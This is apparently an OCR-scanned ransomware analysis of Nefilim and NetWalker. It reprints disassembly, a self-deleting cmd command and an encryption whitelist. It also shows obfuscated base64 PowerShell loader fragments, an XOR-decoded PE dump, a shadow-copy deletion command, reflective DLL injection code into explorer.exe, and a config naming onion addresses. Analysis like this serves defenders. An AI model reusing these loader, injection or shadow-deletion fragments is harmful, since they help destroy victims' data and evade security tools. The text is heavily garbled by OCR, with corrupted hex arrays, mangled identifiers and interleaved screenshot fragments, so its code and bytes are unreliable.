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Nefilim ( )

One of the reason nefilim bypassed many endpoint security solutions is that it uses a signed

payload.
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Overall the payload is pretty efficient. It acts quickly to encrypt the

disc. It creates a

whitelist to make sure that the encryption process doesn't hit any decoy files/folders. Some

endpoint solutions deploy or watch these folders. The payload uses some

Some of the strings are used as keys to decrypt parts of the ransom note.

of the following strings.

The payload uses Advapi32 so that it can use
CryptAcquireContextA, CryptCreateHash etc and the function
available as a resource named Systemlunction036 in

e.01261E5B

push e.126CAF8 ; 126CAFS:"advapi32.dll”
€all dword ptr ds:[<&LoadLibraryA>]
mov dword ptr ds:[12 ], eax

mov eax,dword ptr ds:[126F97C]

test eax,eax

jne e.1261B8A

Advapi32.dil.

It doesn’t use a lot of command line activity like other
ransomware payloads. The basic flow is pretty straightforward.
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€all dword ptr d

mov dword ptr ds:

26 §: "SystemFunction03é
[126F980]
[<&GetProcaddress=]
[126F97C] ,eax




payload.exe-1944 —» cmd.exe-3716 —» timeout.exe-3336

/

md.exe /c timeout /t 3 /nobreak && del “C: sers oo esktop ayload.exe" /s /f /q
Strings are passed to call shellExecute()

addx-4039fb(u" /c timeout /t 3 /nobreak && del ");
addx-+039b(u" /s /t /q");
addx-402a91(u" /s /1 /")

And then passed as “ecx”

ShellExecute(0x0), 0x0, u"cmd.exe”; ecx, 0x0, 0x0);

push eax
push eax
push ecx
push  aCmdexe
push eax

push eax
call dword [imp_ShellExecuteW]

Nefilim starts looking for files by using
FindFirstFile(eax, struct WIN32_FIND_DATAA );

It compares file path within the whiteList provided by the payload. This is done by using lstrcmpi()

push aWindows // Looking for the folder Windows

push eax

call esi // Calls the string compare function
test eax, eax // If equal use JE to jump to a function

// lstrcmpi(&variabletocompare, u"windows");
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WhiteListed extensions

Ink,exe,log,cab,cmd,com,cpl,exe,ini,dll,url, ttf,pif,mp3,mp4
WhiteListed files/folders
windows, SRECYCLE.BIN, NTDETECT.COM, ntldr, MSDOS.SYS, 10.SYS, boot.ini,

AUTOEXEC.BAT, ntuser.dat, desktop.ini, CONFIG.SYS, RECYCLER, BOOTSECT.BAK,

bootmgr, programdata, appdata, programfiles, programfiles(x86), microsoft, sophos

T

e.01261635

push e.126C868 ; 126C868:L"windows"
lea eax,dword ptr ss:[fesp+D0j}

push eax

€all esi

test eax,eax

je e.1261AE7

I
¥

t.0126164C

push e.126C878 ; 126C878:L"$RECYCLE.BIN"
lea eax,dword ptr ss:[fesp+D0J

push eax

€anl esi

test eax,eax

je e.1261AE7

L
¥

e.01261663

push e.126C894 ; 126C894:L"rsa"
lea eax,dword ptr ss:[fesp+D0J}
push eax

eamll esi

test eax,eax

je e.1261AE7

L
¥

t.0126167A

push e.126C89C ; 126C89C:L"NTDETECT.COM™
1ea eax,dword ptr ss:[fesp+D0J

push eax

call esi

test eax,eax

je e.1261AE7

: : : [ = 3 Bl B - o -

All files (minus the whitelisted files/folders) are encrypted ?'éi eixféfﬁg“ptrlggf?épﬁs'fjnu” PECRIETEE
. . . . ea ecx,dword ptr ss:[ebp-20
with NEFILIM extension. CreateFile() is called to create a call e.12628C8 _
. cmp dword ptr ds:[eax+14],8

text file with a Ransomnote b e 1261418
¥
2.01261419

mov eax,dword ptr ds:[eax]

fl

e.0126141B
push ebx

push esi

push edi

xor ebx,ebx
push ebx

push ebx

push 2z

push ebx

push ebx

push 40000000
push eax

€all dword ptr ds:[<&CreateFilew=]
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NetWalker (

Initial payload drops an obfuscated powershell script.

Netwalker Ransomware

ESET-NOD32 @ Win64/Filecoder.Netwalker.A Kaspersky @ HEUR:Trojan.PowerShell. Generic
Microsoft (O Ransom:PowerShell/NetWalker.PIIMTB Sophos AV (D Troj/NetWalk-B

TrendMicro @ Ransom.PS1.NETWALKER.SM TrendMicro-HouseCall @ Ransom.PS1.NETWALKER.SM
ZoneAlarm by Check Point (© HEUR:Trojan.PowerShell. Generic Ad-Aware ©) Undetected

AegisLab ©) Undetected AhnlLab-V3 ©) Undetected

ALYac © Undetected Antiy-AVL © Undetected

Powershell contains a base64 payload.

JinVokE-ExPRESSIoN —COMmand $([StrinG]([SySTEM.TexT.ENcOdInG]::ASCII.GETStRiNG([SysTEM.CoNVErT]: :FRomBAsE64String(

IsMHg3NywweDNmLDB4NzMsMHgyNCwweDZilLDB4NzcsMHgzZiwweDIOLDB4MjMsMHg2Y iwweDc3LDB4M2YsMHg3NSwweDc2LDB4NmIsMHg3NywweDNGLDB4NZIsMHg3M:
eDZCLDB4NzcsMHgzZiwweDcxLDB4N2YsMHg2QiwweDc3LDB4MOYsMHg3MSwweDd LLDBANMI sMHg3NywweDNmLDB4NzAsMHg3NCwweDZiLDB4NzcsMHgzRiwweDc1LDB4NzcsM

Payload is converted to the following

@(0x67,0x67,0x1C, 0x25, 0x3e, 0x33, 0x22, 0x1c, OX1A, OX1A, 0x67, 8X67, 0X67, 0X67, 8X67, 0X67, 0X67, 0X67, 0X67, 0x63, 0x37, 0x33, 0x01, 0x31, 0x0C, 0x23, 033, 0x36, 0X67 , 0X67, 0X67, 0X67, 0X67,
0x67,0x67,0x7a, 0x67, 0x67, 0x67, 0x67, 0x4A, 0x4D, 0x07, OX6F, 0x77, 0x3f, 026, 0x23, 0x6b, 0x77, 0x3f, 8x23, 0x22, 0X6B, 0x77, 0X3F , 0xTe, 0x77, 0X6B, 0x77, 0x3F, 0x77,0x77, OX6B, 0x77 , OX3F
0x77,0x74,0x6b, 0x77, 0x3F, 0x77,0x77, 0x6B, 8x77,0x3f, 0x77,8x77,0X6B, 0x77, 0x3f,8x77,0x77, 0x6B, 8x77, 0X3F , 077, 0x73,0x6b,, 0x77, 0x3f, 0x77,0x77, 0X6B, @x77, 0X3F,, 077, 0x77, 0X6b,,
0x77,0x3F, 0x77,0x77, 0x6B, 0x77,0x3f, 0x21, 0x21, 0X6B, 0x77, 0x3f, 0x21, 0x21, 0x6b, 8x77, 0X3F, 0x77,8X77, 0X6b, 0x77, 0x3f, 0x77,0x77, 0X6B, 0x77, 0x3f, 0x25, 0X7f, 0X6b, 0x77, 0x3f, 0x77,
0x77,0x6b,0x77,0x3f,0x77,0x77,0x6b, 0x77, 0x3F, 0x77, 0x77, @x6B, 0x77, 03, 0x77,8x77, 0x6b, 0x77, 8x3F, 0x77, 077, 0X6B, 0x77 , 0x3F, 0x77, 0X77, 0X6B, 0x77, 0x3F, 0x77, 077, 0x6B, 0X77 ,
0x3f,0x73,0x77,0x6B, 0x77, 0x3f , 0x77, 0x77, 0x6b, 0x77, 0x3F, 0x77,0x77, 0x6B, 0x77, 0x3f , 0x77, 0x77, 0x6B, 0x77, 0x3F, 0x77,0x77,, 0x6b, 0x77, 0x3F , 0x77, 0x77,0x6b , 0x77, 0x3f,0x77, 0x77
0x6B,0x77,0x3F , 077, 0x77,0x6b, 0x77, 0x3F, 0x77,0x77, 0x6b, 0x77, 0X3F , 0x77, 0x77, 8X6B, 0x77, 0x3F, 8x77,0X77, 0x6b, 0x77, 0x3F , 0x77, 0x77,0x6b, 0x77, 0x3f, 0x77,0x77, 0x6b, 0x77, 0X3f,
0X77,0x77,0x6b, 077, 0x3F, 0X77,0x77, 0x6B, 0x77,0x3f, 0x77,0x77,0X6B, 077, 0x3F, 0x77,0x77, 0x6b, 8x77, 0x3F, 0x77,8x77, 0X6B, 077, 0x3F, 0x77, 0x77, 0X6B, 0x77 , 0X3F, 0X77,0X77, 0X6B
0x77,0x3F, 0x77,0x77,0x6b, 0x77,0x3F, 0x77,0x77,0x6B, 0x77, 0x3f, 0x77,0x77, 0x6b, 8x77, 0x3F,, 0x77,8x77, 0X6b, 077, 0x3F, 0x77,0x77, 0x6B, 0x77, 0x3f, 0x77,0x77,0x6b, 077, 0x3F, 0x77,,
0X77, 06, 0X77, 0x3f , 0x77, 077, 0X6B, 0X77, 0x3f, 6x77, 077, Bxsb OX77, 0331, 0x77, 0X77, 0x68, 0x77, 03T, 0X77, X7, 0xGB, 077, OX3F 077, 0X77, 8XGB, 077, axzf x77,0x77,0x68, 0x77,
0x3F,0x77,0x77,0x6B, 0x77,0x3f, 0x77, 0x77, 0X6B, 0x77, 0x3F, 0x77,0X77, 0X6B, 0x77, 0X3F , 0x25, OX7f, 8x6b, 0x77, 0X3F, 8x77,0X77, 0x6b, 0x77, 0X3f , 0x77, 0X77,0X6b,, 0x77, OX3F, 0X77,0X77
0x6B,0x77,0x3F , 0x77,0x22, 0X6B, 0x77, 0x3F, 0x76, 0x21, 0x6B, 0x77, 0x3F , 0x25, 0x26, 0x6b, 0x77, 0x3f, 8x77, 0x22, 0X6B, 0x77, 0X3f , 0x77, 0x77,0XEB, 0x77, 0x3f, 0x25, 0x73, 0X6B, 0x77, 0x3F
0x77,0x7E, 0X68, 0x77,@x3f,0x24,0x23, 0x6B, 0x77, 0x3, 0x75, 8x76, 0X6, 0x77, @x3F, 0x25, 0x7, 0X6B, 8x77, 0x3f, 0x77,8x76, 0X6b, 0x77, @x3f, 0x73, 0x24, 0x6b, 8x77, 0x3, 0x24, 8x23, 0X6
0x77,0x3f, 075, 0x76, 0x6b, 0x77, 0x3F, 0x72, 0x73, 0X6B, 0x77, @x3f, 0X71, 0x7, 0x6B, 0x77, 0x3F, 0x71,8x7e, 0X6b, 0x77, 0x3f, 0x70, 0x74, 0x6b, 0x77, 0X3F, 0x75, 0x77, 0X6B, 0x77, 0x3f, 0x70,
0x77,0x6b, 0x77,0x3F, 0x70, 0X75, 0x6B, 0x77, 0x3F, 0x71, 0x21, @x6b, 0x77, 0x3F, 0x71,8x70, 0X6b, 0x77, 8x3F, 0x70, 0x75, 0x6b, 0x77, 0x3F, 0x71, 0X76, 0X6b, 0x77, 0x3f, 0x71,0x23, 0x6b, 0X77,
0x3F,0x75,0x77,0x6b, 0x77, 0x3f, 0x71, 0x74, 0x6b, 0x77, 0x3F, 0x71,0x76, 068, 0x77, 8x3F , 0x71, 0x22, 0x6b, 0x77, 0x3F, 0x71, 0x22, 068, 0x77, 0x3f , 0x71, 0x21, 0x6B, 0x77, 0x3f, 0x70, 0x73,
0x6B,0x77,0X3F , 0x75, 0x77,0X6B, 0x77, 0x3f, 0x71,0x75, 0x6b, 0x77, 0x3f, 0x71, 0x72, 8X6B, 0x77, 0x3f,8x75,0X77, 0x6b, 0x77, 0x3F , 0x70, 0X75, 0x6b , 0x77, 0x3, 0x70, 0X72, OX6B, 0x77, OX3F ,
0x71,0x22,0X68, 0x77, 0x3F, 0X75, 077, 0x6b, 0x77, 0x3F, 0x71, 0x7e, 0x6b, 0x77, 0x3F, 8x71,0x22, 0x6b, 8x77, 0X3F , 075, 0x77, 0X6B, 0x77, 0x3F, 0X73,0x73, 0X6B, 0x77, 0x3f, 073, 0x21, 0X6B,
0x77,0x3F, 0x72,0x74, 0x6b, 0x77,0x3f, 0x75, 0x77, 0x6B, 0x77, 0x3f, 0x71, 0x23, 0x6B, 0x77, 0x3f, 0x71,8x21, 0x6b, 0x77, 0x3F, 0x71, 0x73, 0x6b, 0x77, 03, 0x71,0x72, 0X6B, 0x77,0x3f , 0X75
0x22,0x6b,0x77,0x3f, 0x77,0x23,0x6b, 0x77, 8x3F, 0x77, 0x23, @x6b, 0x77, 03, 0x77,8x26, 0X6b, 0x77,8x3f, 0X75, 0x73, 0x6B, 0x77,0x3, 0x77,0x77, 0X6B, 0x77, @x3f, 0x77,0x77, 0x6b, 0X77,
0X3F,0x77,0x77,0x6B, 0x77, 0X3F , 0x77, 0x77, 0x6b, 0x77, 0x3F, 0x77,0x77, 0x6b, 0x77, 8x3f , 0x77, 0x77,8x6b, 0X77, 0x3F, 0x77,0X77, 0x6B, 0x77, 0x3f, 0x77, 0x77, 0x6b, 0X77, 0x3F, 0x77,0X77,
0x6B,0x77,0x3f,0x77,0x77, 0x6b, 0x77, 0x3F, 0x77,0x77, 0x6b, 0x77, 0x3f , 0x77, 0x77, 8x6B, 0x77, 0x3F, 8x77, 0x77, 0x6B, 0x77, 0x3f , 0x77, 0x77, 8x6b, 0x77, 0x3f,, 0x77,0x77, 068, 0x77, 0X3f ,
0x77,8x77,0x6b, 0x77,@x3f,0x77,0x77, 0x6b, 0x77, 0x3F, 0x77,8x77,0X6B, 0x77, @x3f, 0x77,0x77, 0x6b, 8x77, 0x3f, 0x77,8x77, 0X68, 0x77, @x3f,0x77, 077, 0X6B, 8x77, 0X3F, 0x77,8X77, 0X6D
0x77,0x3F,0x77,0x77, 0x6b, 0x77, 0x3F, 0x77,0x77,0X6B, 0x77, 0x3f,0x77,0x77, 0x6b, 8x77, 0x3f, 0x77,8X77, 0X6B, 0x77, 0x3f, 0x77,0x77, 0x6b, 0x77, 0X3F, 0x77,0x77,0X6b, 077, 0x3F, 0X77,
0x77,0x6B, 0x77, 0x3F, 0x77,0X77,0x6b, 0x77, 0x3f, 0x77, 0x77, 0x6B, 0x77, 0x3F, 0x77,0x77, 0X6b, 0x77, 8x3F , 0x77, 0x77, 8x6b, 0x77,, 0x3F, 0x77,0X77, 0X6B, 0x77, 0x3f , 0x77, 0X77,0XEB, 0X77
0x3f,0x77,0x77,0x68, 0x77, 0x3f, 0x77, 0x77, 0x6B, 0x77, 0x3F, 0x77,0x77, 0x6b, 0x77, 8x3F , 0x77, 0x77,8x6b, 0x77, 03, 0x77,0x77, 0x6B, 0x77, 0x3F , 0x77, 0x77,0x6b, 0x77, 0x3f, 0x77, 0x77,
0x6b,0x77,0X3F , 0x77,0x77,0X68, 0x77, 0x3F, 0x77,0x77, 0x6B, 0x77, 0X3f, 077, 0x77, 0X6B, 0x77, 0x3f, 0x77,0x77, 0x6b, 8x77, 0X3f, 077, 0x77, 0X6B, 077, 0x3F, 0x77,0x77, 0x6b, 0x77, 0X3F
0X77,0x77,0x6b, 0x77,0x3f,0x77,0x77, 0x6B, 0x77, 0x3F, 0x77,0x77,0X6B, 0x77, 0x3F, 0x77,0x77, 0x6b, 8x77, 0x3F, 0x77,8x77, 0X6B, 077, 0x3f, 0x77,0x77, 0X6b, 0X77 , 0X3F, 0X77,0X77, 0X6B
0x77,0x3f,0x77,0x77,0x6B, 0x77,0x3f, 0x77,0x77,0x6b, 077, @x3f,0x77,0x77, 0x6b, 8x77, 0x3f, 0x77,8x77, 0X6B, 077, 0x3f, 0x77,0x77, 0x6B, 0x77, 0x3f, 0x77,0x77,0x6B, 077, 0x3f, 0x77,,
0x77,0x6b, 0x77,0x3F, @x77,0x77,0x6b, 0x77,0x3f, 0x72, 0x77,8x6b, 0x77, 0x3F, 0x73,0x72, 0x6B, 0x77, 8x3f , 0x77, 0x77, 8x6B, 0x77, 0x3, 0x77,0X77, 0x6B, 0x77, 0x3F , 0x73, 0x24, 0XEB, 0X77
0x3f,0x77,0x76, 0x6B, 0x77, 0x3F , 0x77, 0x72, 0x6B, 0x77, 0x3, 0x77,0x77, 0X6B, 0x77, 8x3F , 0x72, 0x26, 8X6B, 0X77, 0x3f, 0x74, 0X73, 0x6b, 0x77, 0x3F , 0x26, 0x23, 0x6b, 0X77, X3, 0x72,0x22,
0x6B,0x77,0x3f,0x77,0x77, 0X6B, 0x77, 0x3F, 0x77,0x77, 0x6b, 0x77, 0x3F,, 077, 0x77, 0X6B, 0x77, 0x3F, 8x77, 0x77, 0x6b, 8x77, 0x3f , 077, 0x77, 0X6B, 0x77, 0x3F, 0x77,0x77, Ox6b, 0x77 , OX3F
0x77,0x77,0x68, 0x77,@x3F, 0x77,0x77, 0x6B, 0x77,0x3f, 0x22, 8x77, 0X6b, 0x77, @x3f, 0x77,0x77, 0x6B, 8x77, 0x3F, 0x77,8x75, 0X6D, 0x77, @x3F, 0X75, 0x76, 0x6b, 8x77, 0x3, 0x77,8x25, 0X68
0x77,0x3F, 0x77,0x76, 0x6B, 0x77,0x3f, 0x77,0x22, 0X6B, 0x77, 0x3F, 0x76, 0x77, 0x6B, 8x77, 0x3f, 0x77,8X77, 0X6B, 0x77, 0x3F, 0x25, 0x24, 0X6B, 0x77, 0X3F, 0x77,0x77,0X6b, 0x77, 0x3f, 0x77,
0x77,0x6b,0x77,0x3F, 0x77,0X77,0x6B, 0x77, 0x3f , 0x75, 0x73, @x6b, 0x77, 0x3F, 0x77,8x77, 0X6b, 0x77, 8x3f , 0x77, 077, 0X6B, 0x77, 03, 0x77, 0X77, 0X6b, 0x77, 0x3F, 0x77, 077, 0x6B, 0X77 ,
0x3f,0x77,0x77,0x6b, 0x77, 0x3f, 0x77, 0x77, 0x6B, 0x77, 0x3F, 0x25, 0x77, 0x6B, 0x77, 8x3f , 0x26, 0x77,8x6b, 0x77, 03, 0x77,0x77, 0x6b, 0x77, 0x3f , 0x77, 0x77, 0x6B, 0x77, 0x3F, 0x77,0x77,
0x6B,0x77,0x3F , 0x76, 0x77,0x6b, 0x77, 0x3f, 0x77,0x77, 0X6B, 0x77,0x3f, 0x77, 0x77,8x6b, 0x77, 0x3F, 8x77,0X77, 0x6B, 0x77, 0x3f , 0x23, 0x77, 0x6b , 0x77, Ox3F, 0x77,0X77, 0X6B, 0x77, 0X3f,
0x77,0x77,0X68, 0x77, 0x3F, 0X77,0x77, 0x6b, 0x77,0x3f, 077, 0x77,0x6b, 0x77, 0x3F, 8x77, 0x77, 0x6b, 8x77, 0X3f , 076, 0X77, 0X6b,, 0x77, 0x3F, 0X77,0x77, Ox6b, 0x77, 0X3F , 076, 0x77, 0X6B,
0x77,0x3f,0x77,0x77,0x6B, 0x77,0x3f, 0x77,0x77,0x6b, 0x77, @x3f,0x77,0x77, 0x6b, 8x77, 0x3f, 0x77,8x75, 0X6B, 077, 0x3f, 0x77,0x77, 0x6B, 0x77, 0x3f, 0x77,0x77,0x6b, 077, 0x3f, 0x77,,
0x71,0x6b,0x77,0x3f, 0x77,0x77,0x68, 0x77, 8x3F, 0x77, 0x77, @xBb, 0x77, 0x3F, 0x77,8x77,0X6b, 0x77,8x3f, 0x77, 0x77, 0X6B, 0x77, 0x3F, 0x77,0x77, 0X6B, 0x77, @x3F, 0X77, 0x77, 0x6B, 0X77,
0x3f,0x77,0x77,0x6B, 0x77, 0x3F , 0x77, 0x72, 0x6b, 0x77, 0x3F, 0x77,0x77, 0X6B, 0x77, 8x3f , 0x77, 0x77,0x6B, 0X77, 0x3f, 0x77,0X77, 0x6b, 0x77, 0x3F , 0x77, 0x77, 0x6B, 0X77, 0x3f, 0x77,0x77,
0x6B,0x77,0x3f,0x77,0x77, 0X6B, 0x77, 0x3F, 0x77,0x77, 0x6b, 0x77, 0x3f , 0x77, 0x77, 8x6b, 0x77, 0x3F, 8x75, 0x77, 0x6b, 0x77, 0X3F , 0x77, 0X76, 0X6b , 0x77, 0x3f, ux77 0x77,0x6b,0x77,0x3f,
0x77,0x77,0x68, 077, 0x3F, 0x77,0x73, 0x6b, 0x77, 0x3F, 0x77,0x77, 0x6b, 0x77, @x3f, 0x77,0x77, @x6b, 0x77, 0x3f, 0x77,0x77, 0x6b, 0x77, 0x3f, 0x77,0x77, 0x6B, 0x77, 0x3, 0x77,0x77 , 0X6b
0x77,0x3f,0x77,0x77,0x6B, 0x77,0x3f, 0x77, 0x75, 0X6b, 0x77, @x3F, 0x77, 0x77, 0x6B, 0x77, 0x3f, 0x73,8X77, 0X6B, 0x77, @x3f, 0X77, 0x72, 0X6B, 0x77, 0x3, 0x77, ax77 0x6b, 0x77,0x3F, 0X77.
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This layer of obfuscation is removed by XOR operation with ‘0x47°

@(0oxad,Oxde,0x90,0x00,0x03,0x00,0x00,0x00,0x04,0x00,0x00,0x00,0xff,0xff,0x00,0x00,0xb8,0x00,0x00,0x00,0x00
00,0x40,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x0
x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xb8,0x00,0x00,0x00,0x0e,0x1f,0xba,0x0e,0x
Oxcd,0x21,0xb8,0x01,0x4c,0xcd,0x21,0x54,0x68,0x69,0x73,0x20,0x70,0x72,0x6f,0x67,0x72,0x61,0x6d,0x20,0x63,0
,0x6T,0x74,0x20,0x62,0x65,0x20,0x72,0x75,0x6e,0x20,0x69,0x6e,0x20,0x44,0x4f,0x53,0x20,0x6d,0x6T,0x64,0x65,
d,0x0a,0x24,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x0
x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x50,0x45,0x00,0x
0x05,0x00,0x5a,0x34,0xad, 0x5e,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xe0,0x00,0x02,0x21,0x0b,0x01,0x0e,0
,0x00,0x00,0x00,0x24,0x00,0x00,0x00,0x00,0x00,0x00,0xb0,0xa0,0x00,0x00,0x00,0x10,0x00,0x00,0x00,0xd0,0x00,
0,0x00,0x10,0x00,0x10,0x00,0x00,0x00,0x02,0x00,0x00,0x06,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x05,0x00,0x00
00,0x00,0x00,0x00,0x20,0x01,0x00,0x00,0x04,0x00,0x00,0x00,0x00,0x00,0x00,0x02,0x00,0x40,0x05,0x00,0x00,0x1
x10,0x00,0x00,0x00,0x00,0x10,0x00,0x00,0x10,0x00,0x00,0x00,0x00,0x00,0x00,0x10,0x00,0x00,0x00,0x00,0x00,0x
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xf0,0x00,0x00,0xf8,0x14,0x00,0x00,0x00,0x00,0
,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x10,0x01,0x00,0x6¢c,0x04,0x00,0x00,0x80,0xd4,
8,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x0
x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x
0x00,0x00,0x00,0x00,0x2e,0x74,0x65,0x78,0x74,0x00,0x00,0x00,0x35,0xba,0x00,0x00,0x00,0x10,0x00,0x00,0x00,0
,0x00,0x04,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x20,0x00,0x00,0x60,0x2e,
1,0x74,0x61,0x00,0x00,0x40,0x05,0x00,0x00,0x00,0xd0,0x00,0x00,0x00,0x06,0x00,0x00,0x00,0xc0,0x00,0x00,0x00
00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x40,0x00,0x00,0x40,0x2e,0x64,0x61,0x74,0x61,0x00,0x00,0x00,0x9
x00,0x00,0xe0,0x00,0x00,0x00,0x02,0x00,0x00,0x00,0xc6,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x
0x00,0x40,0x00,0x00,0xc0,0x2e,0x72,0x73,0x72,0x63,0x00,0x00,0x00,0x00,0x20,0x00,0x00,0x00,0xf0,0x00,0x00,0
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qGDKNThnYglIXZ $upEcLTMCGhc $upEcLTMCGhc
$TK gtkdkQrLMAN.AzOV gklsqtmgykQIb.Sshe ECGerMBTG.hJuF $(ULhnbeyXER
LvVtGXUp §FTKgtkdkQrLMAN.AzOVgklsqtmgykQIb. KqEL{X{IXPzsmd)

}

$rWd = RBeMnMHvnbNEob $upEcLTMCGhc $( ULhnbcyXERLvVtGXUp
( $TKgtkdkQrLMAN.AzOV gklsqtmgykQIb.UJXRvKZSoPevE
dqiiTT))
$ejxPJM = Irc TwTXsUgeNNyNUH @)/([System.IntPtr],[UInt32],[System.IntPtr])
([bool]

$EUQ = [Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer( $rWd, $ejxPJM )
SEUQ.Invoke( 0, 0,0 ) | Out-Null
}
j

Get-WmiObject Win32_Shadowcopy | ForEach-Object {§_.Delete();} | Out-Null

[DIImport("kernel32.dll",SetLastError = true, EntryPoint = "VirtualAlloc")|
public static extern IntPtr IsJtHM(IntPtr Bol,UIntPtr HMPMIFv]gstQY,UInt32
vgOW]JORGpiclb,UInt32 hkGugwGTQZvvNc);

[DllImport("kernel32.dll",SetLastError = true,EntryPoint = "GetProcAddress")]
public static extern IntPtr prINVMFazId T'gzP(IntPtr ifSw;string Opk);

[DllImport("kernel32.dll",EntryPoint = "Create Remote hread")]
[DllImport("kernel32.dll",SetLastError = true, EntryPoint = "VirtualAlloc")]

public IntPtr IsJtHM(IntPtr Bol, UIntPtr HMPMIFv]estQY,UInt32
vgOW]JORGpiclb,UInt32 hkGugwGTQZvvNc);
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The decoded payload is a DLL with a modified PE header due to which, Virustotal

considers this file type as “Unknown”

INCORRECT MAGIC HEADER BYTES

00000000: adde 9000 0300 0000 0400 0000 ffff 0000
00000010: b300 0000 0000 0000 4000 0000 0000 0000
00000020: 0000 0000 0000 0000 0000 0000 0000 0000
00000030: 0000 0000 0000 0000 0000 0000 b80O 0000
00000040: 0elf balde 00b4 09cd 21b8 014c cd21 5468
00000050: 6973 2070 726 6772 616d 2063 616e 6e6f 1is program canno
00000060: 7420 6265 2072 756e 2069 6e20 444f 5320 t be run in DOS
00000070: 6d6T 6465 2e0d 0dda 2400 0000 0000 0000 mode....$.vvuuss
00000080: 0000 0000 0000 0000 0000 0000 0000 0000 e
00000090: 0000 0000 0000 0000 0000 0000 0000 0000
00000020: 0000 0000 0000 0000 0000 0000 0000 0000
ram
"ADDE9000 030 FFFFO000
00000000 0000000 B8PV0VVO OELFBAOE @0B409CD 21B8014C CD215468 69732070 726F6772 616D2063 616EGE6F 74206265 2072756E
20696E20 444F5320 6D6F6465 2EQDODOA
50450000 4C010500 SA34ADSE 00000000 00000000 E0000221
0BO10E10 00BCOO0O 00240000 000VV000 BOAVVOVO 00100000 VODOVVVO VVVVVR10 V0100000 00020000 V6000000 0VVVRO0 05000000
00200100 02004005 00001000 00100000 00001000 00100000
F F8140000 00100100 6C040000 80D40000 38000000 00RVVOAQ
2E746578 74000000 35BA0000 00100000 00BCOORO
20000060 2E726461 74610000 00D 00C00000 2E646174 61000000
90020000 OOEQG000 00020000 00C60000 400000C0 2E727372 63000000 00200000 00F00000 00160000
00C80000 2E72656C 6F630000 6C040000 00100100 00DE0000
40000042
.
It then changes the incorrect value
100000 0 FFFFO000 |0 |[DDE9000 03000000 04000000 FFFFOR00
16
32
B8000000 OE1FBAOE 00B499CD 21B8014C CD215468 | | 48
69732070 726F6772 616D2063 616E6E6F 74206265 | | 64 | OELIFBAOE 00B409CD 21B8014C CD215468
2072756E 20696E20 444F5320 6D6F6465 2EQDODOA | | 80 | 69732070 726F6772 616D2063 616E6E6F
24000000 00000000 0PVVV000 VVVOPPOO 000000 | | 96 | 74206265 2072756E 20696E20 444F5320
00000000 00000000 0PVVVV00 0VVPPPPO 00000000 | | 11 | 6D6F6465 2EGDODOA 24000000 00000000
00000000 00000000 000000 VRV 00RO 2 | 00000000 00000000 0OPPPVVO 00000
00000000 50450000 4C010500 SA34ADSE 00000000 | | 12 | 00000000 00000000 00000000 00000000
00000000 E0000221 OBO1OE10 0OBCOVVO 00240000 8
00000000 BOACOOVO 00100000 0ODAVVVO 000010 | | 14 | 00VVVVRO 0VVVVVPD 50450000 4C010500
00100000 00020000 O 05 5A34ADSE 00000000 00000000 E0000221
API's & FUNCTIONS REQUIRED:
FunctionjGHCogMzZJqMjkXBI]
FunctionRBeMnMHvnbNEob
FunctionULhnbcyXERLvVIGXUp
FunctionpmWsENpD
Functionlr¢ TwTXsUgcNNyNUH
functionqGDkNThnYglIXZ
functionUjSOImIVajpskSFV
functionozesOBwrUGaviaPvkV
$EUQ=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($rWd,$ejxPJM
FunctionjGHCogMzZJqMjkXBI]
FunctionRBeMnMHvnbNEob
FunctionULhnbcyXERLvVIGXUp
FunctionpmWsENpD
Functionlr¢ TwTXsUgcNNyNUH
functionqGDkNThnYglIXZ
functionUjSOImIVajpskSFV
functionozesOBwrUGaviaPvkV
$EUQ=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($rWd,$ejxPJM
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Time for reflective DLL loading:
Netwalker injects into EXPLORER.exe to make sure everything is performed within
explorer.exe’s address space

PROCESS INJECTION TO EXPLORER.EXE

0zesOBwrUGaviaPvkV 'explorer' $upEcLTMCGhc
$TKgtkdkQrLMAN.AzOV gkIsqtmgykQIb. XNkbT
$TKgtkdkQrLMAN.AzOVgklsqtmgy
kQIb.UJXRvKZSoPevEdqjjiTT $aukhgaZFiPJBarSp]Jc ([ref]
$rbwueXQHo)

Netwalker relies on the following config values

{"mpk

"+1KtL9ibbeqaChhoziEHe TtRtw8pNA5yC034/ 3kISA=
""mode

:0,"spsz

:15360,"thr

:1500,"namesz

:8,"idsz

:6,"pers

:true,”onion |

:"pb36hu4spl6eyjdthing7h3pwbdhpk32ifemawkujj4gp33ejzdq3did.onion

,"onion2

:"rnfdsgm6wb6j6sudtxkekw4udy4 7kp2eatvu7d6xhyn5cs4lt4pdrqqd.onion

,"Iile

"{id}-Readme.txt

,"lend

